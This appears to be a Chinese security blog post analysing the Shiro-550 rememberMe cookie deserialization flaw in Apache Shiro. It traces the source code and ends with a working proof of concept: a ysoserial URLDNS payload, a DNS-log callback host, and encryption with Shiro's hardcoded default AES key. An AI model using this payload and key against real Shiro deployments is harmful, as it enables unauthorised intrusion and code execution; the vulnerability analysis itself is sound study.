[Java安全学习]Shiro550原理分析以及攻击演示

Shiro550原理分析

Shiro运行在Filter层,每一个请求在到达Servlet之前都会被拦截下来进行处理。
在包org.apache.shiro.mgt中有DefaultSecurityManager类,该类继承自SessionsSecurityManager,看得出来会话管理有关功能在此实现。
我们尝试登录并在该类中下断点调试。
在这里插入图片描述

发起登录后,进入getRememberedIdentity方法。
在这里插入图片描述

仔细阅读该方法,该方法首先取得当前的RememberMe管理器,执行它的getRememberedPrincipals方法并返回,该管理器RememberMeManager是一个接口类,实现了它的类有下面几个

在这里插入图片描述

,来到AbstractRememberMeManager,
在这里插入图片描述

步入getRememberedSerializedIdentity。

    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

在该类205行取出cookie,然后判断是否等于deleteMe
在这里插入图片描述

我们知道deleteMe会放在cookie的remeberMe字段。那他是怎么取出来rememberMe的呢。进入getCookie看看。CookieRememberMeManager在构造器中就已经将成员变量cookie设置为rememberMe了,而getCookie返回对象中的cookie,值则为remberberMe。
在这里插入图片描述

如果等于则返回空。不等于则判断该cookie是否为空,为空则返回空,不为空则先对base64进行填充,假如cookie不符合base64长度,用等号填充。

    private String ensurePadding(String base64) {
        int length = base64.length();
        if (length % 4 != 0) {
            StringBuilder sb = new StringBuilder(base64);
            for (int i = 0; i < length % 4; ++i) {
                sb.append('=');
            }
            base64 = sb.toString();
        }
        return base64;

填充完毕使用base64解码后返回。回到getRememberedPrincipals,判断该解码后的cookie不为空即执行convertBytesToPrincipals。
在这里插入图片描述

在该方法中,判断加解密服务不为空则对其进行解密,然后对解码后的字节数组进行反序列化。
在这里插入图片描述

总结一下,Shiro会取出rememberMe中的值进行base64解码后再解密,然后反序列化。
要成功反序列化,我们必须知道怎么加密payload,那么解密是怎么解密的?
在这里插入图片描述

进入decrypt
在这里插入图片描述

取得cipherService之后用它来解密。要找到对象中的cipherService是什么,到构造函数或者setter中找。很幸运,在构造函数中可以看到使用了AES加密服务,并且可以看到硬编码的AES密钥。
在这里插入图片描述

明明官方就告诉了要用随机生成密钥。为什么大家还要用默认的硬编码
查看AES加密模式,AES服务类继承DefaultBlockCipherService默认块密码服务类。
DBC

在该类中,指明了使用CBC模式进行加密解密。

在这里插入图片描述

漏洞利用

漏洞利用的话,我们使用工具就行了。
在这里插入图片描述

咳咳咳,我们学习当然还是自己写payload。
如果使用shiro的同时还用了CC组件。
在这里插入图片描述

那我们可以用CC链来打这个反序列化。没有用CC链也可以用CB链来打,把comparator换一下就能组成无依赖链。这里先用URLDNS来证明反序列化存在。
在ysoserial运行如下代码生成base64加密的payload。

public static void main(final String[] args) throws Exception {
//                PayloadRunner.run(URLDNS.class, args);
Object o = new URLDNS().getObject("http://lj4vmg.dnslog.cn");
byte[] ba = Serializer.serialize(o);
System.out.println(Base64.encodeBase64String(ba));
}

不想写加密算法,导入shiro之后,用shiro的加密模块。将payload解码之后用shiro带的AES密码服务指定密钥加密再用base64编码。

String base64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEGxqNHZtZy5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly9sajR2bWcuZG5zbG9nLmNueA==";

String SECRET_KEY = "kPH+bIxk5D2deZiIxcaaaA==";
AesCipherService cipherService = new AesCipherService();
byte[] raw_payload = Base64.decode(base64);
cipherService.setKeySize(128); // AES-128
byte[] encryptedBytes = cipherService.encrypt(raw_payload,  Base64.decode(SECRET_KEY)).getBytes();
String payload = Base64.encodeToString(encryptedBytes);
System.out.println(payload);

在这里插入图片描述

出网成功。
dns

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cgxx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值